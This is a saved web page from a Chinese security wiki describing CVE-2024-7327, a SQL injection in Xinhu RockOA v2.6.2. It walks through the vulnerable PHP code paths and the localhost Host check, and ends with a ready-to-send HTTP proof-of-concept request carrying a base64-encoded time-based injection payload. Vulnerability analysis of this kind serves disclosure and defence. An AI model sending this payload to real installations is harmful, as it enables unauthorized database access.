Penetration_Testing_POC/books/【原创】Xinhu RockOA v2.6.2 SQL注入漏洞 _ 安全团队贡献平台.html

169 lines
1.1 MiB
HTML
Raw Permalink Normal View History

add 漏洞复现+代码审计+IOT相关文章合计61篇 (Nday)泛微E-office 10 OfficeServer.php 下载_上传漏洞分析 2024 RWCTF群晖 BC500摄像头RCE--未授权_栈溢出 CVE-2024-30188 Apache DolphinScheduler 任意文件读写漏洞分析 CVE-2024-36412 SuiteCRM未授权sql注入分析 CVE-2024-38856 Apache OFBiz Authentication Bypass CVE-2024-43044 Jenkins Remoting远程代码执行漏洞分析 Dedecms后台RCE的一些方法 – fushulingのblog Exchange邮服渗透技巧 H3C-iMC智能管理中心autoDeploy. JAVA安全之Velocity模板注入刨析 Laravel 11.x 反序列化链分析 Nacos 0day(derby_源码)分析 _ 不出网利用 Nacos <=2.4.0.1 任意文件读写删 Spring Cloud Data Flow 漏洞分析(CVE-2024-22263_CVE-2024-37084) Unnamed page.NET恶意软件Dark Crystal RAT的详细样本分析 Zimbra 邮服渗透技巧 Zimbra邮服渗透技巧 java中js命令执行与绕过 - unam4 java中js命令执行的攻与防 wookteam协作平台searchinfo接口SQL注入漏洞分析 【原创】Xinhu RockOA v2.6.2 SQL注入漏洞 _ 安全团队贡献平台 【原创】(CVE-2024-7919)安徽德顺智能科技有限公司 JIELINK_ INTELLIGENT TERMINAL OPERATION PLATROFM 未授权访问漏洞 _ 安全团队贡献平台 【原创】(CVE-2024-7920)安徽德顺智能科技有限公司 JIELINK_ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞 _ 安全团队贡献平台 【原创】(CVE-2024-7921)安徽德顺智能科技有限公司 JIELINK_ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞 _ 安全团队贡献平台 万户graph include.jsp sql注入的漏洞分析 万户oa中receivefile_gd存在SQL注入 亿赛通新一代电子文档安全管理系统 SecretKeyService SQL注入漏洞 亿赛通新一代电子文档安全管理系统 logincontroller JNDI注入致远程代码执行漏洞(XVE-2024-8758) 亿赛通新一代电子文档安全管理系统-LogDownLoadService-mssql-sql注入漏洞分析 亿赛通电子文档安全管理系统 CDGAuthoriseTempletService1 SecretLevelId SQL注入漏洞代码分析 亿赛通电子文档安全管理系统 CDGAuthoriseTempletService1 SecretLevelId SQL注入漏洞代码分析2 亿赛通电子文档安全管理系统DecryptionApp反序列化漏洞RCE 从seacms12.9教你学会代码审计 代码审计之nbcio-boot从信息泄露到Getshell 信呼OA nickName SQL注入漏洞复现(XVE-2024-19304) 内网活动目录利用方法 内网渗透横向移动技巧 域内日志分析 安卓逆向——Frida的进阶用法 帆软 FineReport ReportServer SQL注入致RCE漏洞 悦库企业网盘 userlogin 护网红队-从apk反编译审计到getshell全过程 易宝oa软件两处-ExecuteSqlForSingle注入分析与复现 智慧校园(安校易)管理系统 ReceiveClassVideo.ashx 存在文件上传漏洞 比较有意思的几个漏洞挖掘记录 泛微e-cology testConnByBasePassword JDNI注入致远程代码执行漏洞分析(XVE-2024-20913) 泛微云桥e-Bridge addResume任意文件上传漏洞分析 浅析通天星CMSV6车载定位监控平台远程代码执行漏洞 海康威视iSecure Center综合安防管理平台认证绕过分析 海康威视综合安防管理平台clusters页面文件上传漏洞 海康威视综合安防管理平台uploadAllPackage任意文件上传漏洞复现分析 海康威视综合安防系统 detection 接口远程命令执行 深澜认证计费系统代码审计(登录绕过_前后台RCE_文件读取_信息泄漏_XXS_SSRF) 用友NC complainbilldetail SQL注入漏洞 用友致远OA后台RCE constDef.do命令执行漏洞分析 积木报表AviatorScript代码注入RCE分析 章管家印章智慧管理平台 listUploadIntelligent接口sql注入漏洞分析与复现 蓝凌OA WechatLoginHelper.do SQL注入漏洞复现分析 记一次Spring boot框架代审与思考 记一次对通天星CMSV6车载视频监控平台的多个漏洞(getImage、delete.do、disable、merge、upload、SESSION伪造、StandardLoginAction_getAllUser、反序列化、xz_center)分析复现 记一次有趣的通达OA审计过程
2024-08-30 22:09:31 -07:00
<!DOCTYPE html> <html class="js cssanimations"><!--
Page saved with SingleFile
url: https://wiki.shikangsi.com/post/share/789dad54-851b-4ec6-a1f6-11271e30db71
--><meta charset=utf-8>
<meta http-equiv=X-UA-Compatible content="IE=edge">
<meta name=description content=一个团队使用的贡献平台>
<meta name=keywords content=安全,团队,贡献>
<meta name=viewport content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>【原创】Xinhu RockOA v2.6.2 SQL注入漏洞 | 安全团队贡献平台</title>
<meta name=renderer content=webkit>
<meta http-equiv=Cache-Control content=no-siteapp>
<meta name=mobile-web-app-capable content=yes>
<meta name=apple-mobile-web-app-capable content=yes>
<meta name=apple-mobile-web-app-status-bar-style content=black>
<meta name=apple-mobile-web-app-title content=安全团队贡献平台>
<style>/*! normalize.css v8.0.0 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}hr{overflow:visible}img{border-style:none}button{font-family:inherit}[type=button]{-webkit-appearance:button}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}</style>
<style>/*! Amaze UI v2.7.2 | by Amaze UI Team | (c) 2016 AllMobilize, Inc. | Licensed under MIT | 2016-08-17T16:17:24+0800 */*,:after,:before{-webkit-box-sizing:border-box;box-sizing:border-box}body,html{min-height:100%}html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article{display:block}a{background-color:transparent}a:focus{outline:thin dotted}a:active,a:hover{outline:0}a{text-decoration:none}strong{font-weight:700}pre{white-space:pre-wrap}img{-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;border:0}button{font:inherit;margin:0}button{overflow:visible}button{text-transform:none}button{-webkit-appearance:button}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{position:relative;background:#fff;font-family:"Segoe UI","Lucida Grande",Helvetica,Arial,"Microsoft YaHei",FreeSans,Arimo,"Droid Sans","wenquanyi micro hei","Hiragino Sans GB","Hiragino Sans GB W3",FontAwesome,sans-serif;font-weight:400;line-height:1.6;color:#333;font-size:1.6rem}body,button{text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-moz-font-feature-settings:"liga","kern"}@media only screen and (max-width:640px){body{word-wrap:break-word;-webkit-hyphens:auto;-ms-hyphens:auto;-moz-hyphens:auto;hyphens:auto}}a:focus,a:hover{color:#095f8a}a:focus{outline:thin dotted;outline:1px auto -webkit-focus-ring-color;outline-offset:-2px}blockquote,hr,p{margin:0 0 1.6rem 0}*+blockquote,*+hr,*+p,*+pre{margin-top:1.6rem}h1,h3{margin:0 0 1.6rem 0;font-weight:600;font-size:100%}h1{font-size:1.5em}*+h1,*+h3{margin-top:2em}hr{display:block;padding:0;border:0;height:0;border-top:1px solid #eee;-webkit-box-sizing:content-box;box-sizing:content-box}blockquote{padding-top:5px;padding-bottom:5px;padding-left:15px;border-left:4px solid #ddd}blockquote p:last-of-type{margin-bottom:0}.am-container{-webkit-box-sizing:border-box;box-sizing:border-box;margin-left:auto;margin-right:auto;padding-left:1rem;padding-right:1rem;width:100%}.am-container:after,.am-container:before{content:" ";display:table}.am-container:after{clear:both}@media only screen and (min-width:641px){.am-container{padding-left:1.5rem;padding-right:1.5rem}}.am-container>.am-g{width:auto;margin-left:-1rem;margin-right:-1rem}@media only screen and (min-width:641px){.am-container>.am-g{margin-left:-1.5rem;margin-right:-1.5rem}}.am-g{margin:0 auto}.am-g:after,.am-g:before{content:" ";display:table}.am-g:after{clear:both}@media only screen and (min-width:641px){}[class*=am-u-]{width:100%;padding-left:1rem;padding-right:1rem;float:left;position:relative}@media only screen and (min-width:641px){[class*=am-u-]{padding-left:1.5rem;padding-right:1.5rem}}@media only screen{.am-u-sm-11{width:91.66666667%}[class*=am-u-].am-u-sm-centered{margin-left:auto;margin-right:auto;float:none}[class*=am-u-].am-u-sm-centered:last-child{float:none}}@media only screen and (min-width:641px){}@media only screen and (min-width:1025px){}@media only screen{}@media only screen and (min-width:641px){}@media only screen and (min-width:1025px){}code,pre{font-family:Monaco,Menlo,Consolas,"Courier New",FontAwesome,monospace}code{padding:2px 4px;font-size:1.3rem;color:#c7254e;background-color:#f8f8f8;white-space:nowrap;border-radius:0}pre{display:block;padding:1rem;margin:1rem 0;font-size:1.3rem;line-height:1.6;word-break:break-all;word-wrap:break-word;color:#555;background-color:#f8f8f8;border:1px solid #dedede;border-radius:0}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.am-btn{display:inline-block;margin-bottom:0;padding:.5em 1em;vertical-align:middle;font-size:1.6rem;font-weight:400;line-height:1.2;text-align:center;white-space:nowrap;background-image:none;border:1px solid transparent;border-radius:0;cursor:pointer;outline:0;-webkit-appearance:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-transition:background-color .3s ease-out,border-color .3s ease-out;transition:background-color .3s ease-out,border-color
<style>body,html{height:100%}@media print{a{text-decoration:none}}@media screen and (min-width:960px){}@media screen and (max-width:959px){}.am-container{max-width:1300px}</style>
<style>.codehilite{background:#f8f8f8}</style>
<style>@media (pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
* Waves v0.7.5
* http://fian.my.id/Waves
*
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
* Released under the MIT license
* https://github.com/fians/Waves/blob/master/LICENSE
*/</style><style>@media (max-height:620px){}@media (max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media (pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:tra
<body>
<header class="am-topbar am-g am-g-collapse" style=display:none!important>
</header>
<div class=am-container>
<div class=am-g>
<div class="am-u-sm-centered am-u-sm-11">
<article class=am-article>
<div class=am-article-hd>
<h1 class=am-article-title>【原创】Xinhu RockOA v2.6.2 SQL注入漏洞</h1>
<hr>
<button type=button class="am-btn am-btn-primary btn-copy" data-am-popover="{content: '已复制'}">分享</button>
<h3>当前为私密分享,无需登录即可查看。</h3>
<hr>
</div>
<table class="am-table am-table-bordered">
<tbody><tr>
<th>时间</th>
<th class="am-text-center am-hide-sm-down">作者</th>
<th width=8% class="am-text-center am-hide-sm-down">可见性</th>
<th width=8% class="am-text-center am-hide-sm-down">等级</th>
<th class="am-text-center am-hide-sm-down">Rank</th>
</tr>
<tr>
<tr>
<td>2024-07-21 22:30:35</td>
<td class="am-text-center am-hide-sm-down"><a href=https://wiki.shikangsi.com/profile/607/ class=am-link-muted>Mstir</a></td>
<td class="am-text-center am-hide-sm-down"><span class="am-badge am-badge-success">公开的</span></td>
<td class="am-text-center am-hide-sm-down"><span class="am-badge am-badge-warning">高危</span></td>
<td class="am-text-center am-hide-sm-down">1</td>
</tr>
</table>
<div class=am-article-bd>
<p>CVE-2024-7327<br>Created: 07/31/2024 02:15 PM<br>Updated: 08/01/2024 01:20 PM<br>Changes: 07/31/2024 02:15 PM (57), 08/01/2024 03:25 AM (18), 08/01/2024 01:20 PM (1)<br>Submitter: Mstir@Wiki</p>
<hr>
<h1>漏洞描述</h1>
<blockquote>
<p>信呼-OA系统是一个办公自动化软件用于提高组织内部的沟通效率和管理效率。</p>
</blockquote>
<p>在信呼OA系统2.6.2版本的<code>/webmain/task/openapi/openmodhetongAction.php</code>文件中存在一个前台SQL注入漏洞。当<code>$nickName</code>变量经过base64解码后被加入到<code>uarr</code>数组中,并最终传递给<code>$db-&gt;record()</code>方法进行SQL查询时攻击者可以利用此漏洞进行SQL注入攻击。此外还需要注意父类<code>openapiAction.php</code>中的<code>init</code>方法,其中的<code>Host</code>需要属于<code>127.0.0.1</code><code>192.168.x.x</code>的范围。</p>
<h1>审计过程</h1>
<p>在 /webmain/task/openapi/openmodhetongAction.php 中</p>
<p><strong>\$nickName被base64解码之后带入了uarr数组中 然后传入到 \$db-&gt;record()</strong></p>
<pre class=codehilite><code class=language-php> public function dataAction()
{
$mobile = $this-&gt;get('mobile');
$xcytype = $this-&gt;get('xcytype');
$openid = $this-&gt;get('openid');
$nickName = $this-&gt;jm-&gt;base64decode($this-&gt;get('nickName'));
$htdata = array();
$db = m('wxxcyus');
$uarr['mobile'] = $mobile;
$uarr['xcytype'] = $xcytype;
$uarr['openid'] = $openid;
$uarr['nickName'] = $nickName;
$uarr['province'] = $this-&gt;get('province');
$uarr['city'] = $this-&gt;get('city');
$uarr['gender'] = $this-&gt;get('gender');
$uarr['dingyue'] = $this-&gt;get('dingyue');
$uarr['avatarUrl'] = $this-&gt;jm-&gt;base64decode($this-&gt;get('avatarUrl'));
$where = "`openid`='$openid'";
if($db-&gt;rows($where)==0){
$uarr['adddt'] = $this-&gt;now;
$where='';
}else{
$uarr['optdt'] = $this-&gt;now;
}
$db-&gt;record($uarr, $where);
</code></pre>
<p>跟进该方法 /include/Model.php</p>
<pre class=codehilite><code class=language-php> public function record($arr, $where='')
{
return $this-&gt;db-&gt;record($this-&gt;table, $arr, $where);
}
</code></pre>
<p>到了 /include/class/mysql.php</p>
<pre class=codehilite><code class=language-php> public function record($table,$array,$where='')
{
$addbool = true;
if(!$this-&gt;isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=&gt;$val){
$cont.=",`$key`=".$this-&gt;toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
$table = $this-&gt;gettables($table);
if($addbool){
$sql="insert into $table set $cont";
}else{
$where = $this-&gt;getwhere($where);
$sql="update $table set $cont where $where";
}
return $this-&gt;tranbegin($sql);
}
</code></pre>
<p>在这里带入SQL语句查询 导致注入 同时还要注意下父类openapiAction.php中的init方法 这里的Host需要属于127.0.0.1 或 192.168.x.x 的范围.</p>
<pre class=codehilite><code class=language-php>public function initAction()
{
$this-&gt;display= false;
$openkey = $this-&gt;post('openkey');
$this-&gt;openkey = getconfig('openkey');
if($this-&gt;keycheck &amp;&amp; HOST != '127.0.0.1' &amp;&amp; !contain(HOST,'192.168') &amp;&amp; $this-&gt;openkey != ''){
if($openkey != md5($this-&gt;openkey))$this-&gt;showreturn('', 'openkey not access', 201);
}
$this-&gt;getpostdata();
}
</code></pre>
<h1>POC</h1>
<pre class=codehilite><code class=language-http>GET /index.php?m=openmodhetong|openapi&amp;d=task&amp;a=data&amp;ajaxbool=0&amp;nickName=MScgYW5kIHNsZWVwKDUpIw== HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: keep-alive
Cookie: loginname=admin; jueseid=1; danweiid=1; quanxian=0; PHPSESSID=cv1c2tefjckfjnpin34n2oc8h1; deviceid=1708223329907
Host: 127.0.0.1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1
</code></pre>
<p><img alt=null src=data:image/png;base64,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
<p><img alt=null src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABK0AAAJ8CAYAAAA8i1JiAAAgAElEQVR4AeydCViUV5rvMz3Tt+9M174vUEWxLwoRF9wXFDXuOy5g3HcCiIi7oiKiiDuKQVFB9kUUEZd0JomJk053Z3q5k56b22PUbGYx0SwmMfq/z/mqvuKrogoKRIPJy/OUVVadOsvv/L+v6vvXe97zzGeffYbPP/+cu3388cf48MMP8emnn4I9z+4/+OADvP/++/jkk0/AXmePb9686XBjz9+6dYt7jZVn72N1Ct/P1+3q/c71Cf8vrI/vp6f3H9+6xfVbOEb2mPWFjUf4vKd1UjmrVojD4+Vw+/Zt7hhi9z+3G9POz21MNJ6fn05bM6ek6V/2/LdGK1SWtEIaIA08bRqgzzjSrKeaJa2QVjzVSmvLPQP6IwJEgAgQASJABIgAESACRIAIEAEiQASIABEgAh2MAJlWHWxCqDtEgAgQASJABIgAESACRIAIEAEiQASIABEgAgCZVqQCIkAEiAARIAJEgAgQASJABIgAESACRIAIEIEOR4BMqw43JdQhIkAEiAARIAJEgAgQASJABIgAESACRIAIEAEyrUgDRIAIEAEiQASIABEgAkSACBABIkAEiAARIAIdjgCZVh1uSqhDRIAIEAEiQASIABEgAkSACBABIkAEiAARIAJkWpEGiAARIAJEgAgQASJABIgAESACRIAIEAEiQAQ6HAEyrTrclFCHiAARIAJEgAgQASJABIgAESACRIAIEAEiQATItCINEAEiQASIABEgAkSACBABIkAEiAARIAJEgAh0OALNmlZ/+9s7+NOf/txut++++77DAaAOEQEiQASIABEgAkSACBABIkAEiAARIAJEgAh0PALNmlaFp8pwvKgUxeU1KKk43eLtxeMlOHDkJE4WV2Fv7nEcPVmGIwXF2HPwKA4ePoo7d+92PALUIyLQAQk8fPgjvv/mLu5++wMePHzYAXtIXSICRIAIEAEiQASIABEgAkSACBCBthJ4+PAh7ty506pbW9v6qd/Hj/XHH39stius3P379zkmfMFmTaujBUWou/A7vPn2/8Ef/vxOi7dTNZewJ78Cl1/7A7btK0RF3cs4WXkBm3YeQfaeXNy50/FNq6tZfdA1NgdXb93FfZ5Sm+5vonxRFCJWVODm7XttqoHe9Msl8P037+DEwr7ouaYG75N+frlCoJETASJABIgAESACRIAIEAEi8LMk8OWXX8Lb2xthYWEt3kJDQ7kyTysIZs5FRkbizTffhDvjihlW3333HS5fvozu3bvbh9qyaVV/EW/+4U9460//2eLt1dffxEuvvI7/eOuPuPjyFbx29S288vqbqKqtx76DRzwwra4iq09XhJnNMNtuCRU30fSa3VputYvXONMpLAEVN2/DwSq6WY5FURGYkHMVt+4K7SihufQuTsYao